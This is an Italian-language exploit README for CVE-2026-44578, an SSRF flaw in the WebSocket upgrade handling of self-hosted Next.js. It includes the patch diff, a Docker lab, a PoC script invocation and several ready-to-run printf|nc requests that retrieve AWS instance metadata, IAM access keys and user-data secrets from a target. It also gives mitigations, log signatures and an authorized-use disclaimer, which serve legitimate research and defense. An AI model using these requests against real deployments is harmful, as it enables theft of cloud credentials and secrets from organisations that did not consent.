
CVE-2026-44578: SSRF nell'upgrade WebSocket di Next.js — furto di credenziali pre-autenticazione via localhost:80. Laboratorio + exploit + audit.
Server-Side Request Forgery pre-autenticazione nelle distribuzioni self-hosted di Next.js.
Una singola richiesta HTTP appositamente costruita estrae credenziali AWS, segreti e dati di servizi interni da localhost:80.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Tipo | SSRF (CWE-918) |
| Versioni vulnerabili | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (solo self-hosted) |
| Versione corretta | 15.5.16, 16.2.5 |
| Autenticazione richiesta | Nessuna |
| Interazione utente | Nessuna |
Il gestore dell'aggiornamento WebSocket in router-server.ts chiama proxyRequest() ogni volta che parsedUrl.protocol è truthy — senza controllare i flag di completamento del routing finished e statusCode che il gestore HTTP aveva sempre applicato.
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
Dopo che normalizeRepeatedSlashes comprime http:/// in http:/, l'hostname è null e http-proxy si connette a localhost:80 con il percorso corretto. Qualsiasi servizio co-localizzato (metadata cloud, pannelli di amministrazione, API interne) viene esposto.
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
curlnon può inviare URI in forma assoluta. Usa TCP grezzo:nc,ncat,socato socket Python.
Attacker Next.js (vuln) localhost:80 (IMDS/service)
| | |
| GET http:///latest/meta-data/| |
| Connection: Upgrade | |
| Upgrade: websocket | |
|----------------------------->| |
| | url.parse -> protocol:'http' |
| | "///" matches regex |
| | normalizeRepeatedSlashes |
| | "http:///" -> "http:/" |
| | Returns: finished:true |
| | statusCode:308 |
| | hostname:null |
| | |
| | BUG: only checks protocol |
| | proxyRequest -> localhost:80 |
| | GET /latest/meta-data/ |
| |----------------------------->|
| | 200 OK + credentials |
| |<-----------------------------|
| 200 OK + credentials | |
|<-----------------------------| |
nc (netcat)git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
Lo script avvia 5 container:
I sidecar IMDS usano network_mode: "service:nextjs-*", quindi il servizio di metadata finto si trova su localhost:80 all'interno del container Next.js — simulando una vera istanza cloud.
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all
# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
./teardown.sh
Tutti i container sono attivi — il vulnerabile (15.5.15) su :3000, il corretto (15.5.16) su :3001, sidecar IMDS che condividono i namespace di rete.
Una singola richiesta restituisce l'intera directory dei metadata EC2 (ami-id, instance-id, iam/, placement/, ecc.)
Set completo di credenziali IAM: AccessKeyId, SecretAccessKey, Token ed Expiration.
Script di bootstrap user-data EC2 contenente DB_PASSWORD e API_KEY.
ID dell'istanza estratto tramite lo stesso vettore SSRF.
Stesso payload contro Next.js 15.5.16. Connessione chiusa immediatamente — nessun dato restituito.
I log IMDS finti mostrano richieste GET in arrivo da 127.0.0.1 (il processo Next.js), dimostrando che l'SSRF avviene lato server.
Tutti i 7 test SSRF restituiscono dati sensibili sull'istanza vulnerabile.
Tutti i 7 test bloccati sull'istanza corretta. Fix confermato.
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
Sostituisci T con l'host di destinazione e ROLE con il nome del ruolo IAM.
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
return 400;
}
Su AWS: imponi IMDSv2 (HttpTokens=required).
Firme nei log:
Failed to proxy http:/ — proxy attivato ma destinazione irraggiungibilehttp:///path non produce alcun log di errore — monitora gli aggiornamenti WebSocket con http: nella riga di richiestaSolo per test di sicurezza autorizzati, istruzione e ricerca difensiva. Utilizza solo contro sistemi di tua proprietà o per i quali hai esplicito permesso scritto di testare.
| Container | Ruolo | Esposto |
|---|
nextjs-vuln | Next.js 15.5.15 (vulnerabile) | localhost:3000 |
nextjs-fixed | Next.js 15.5.16 (corretto) | localhost:3001 |
imds-sidecar-vuln | Fake AWS IMDSv1 che condivide la rete con il vulnerabile | localhost:80 (dalla prospettiva del vulnerabile) |
imds-sidecar-fixed | Fake AWS IMDSv1 che condivide la rete con il corretto | localhost:80 (dalla prospettiva del corretto) |
internal-api | Mock di servizio interno | — |
| Limitazione | Dettaglio |
|---|
| Metodo HTTP | Solo GET |
| Destinazione | localhost:80 (hostname rimosso dalla normalizzazione) |
| AWS IMDSv2 | Non sfruttabile (richiede PUT) |
| Metadata GCP | Non sfruttabile (rifiuta l'header Upgrade) |
| In hosting su Vercel | Non vulnerabile |
| Dietro reverse proxy | nginx/Caddy/HAProxy bloccano gli URI in forma assoluta |
| Fonte | Link |
|---|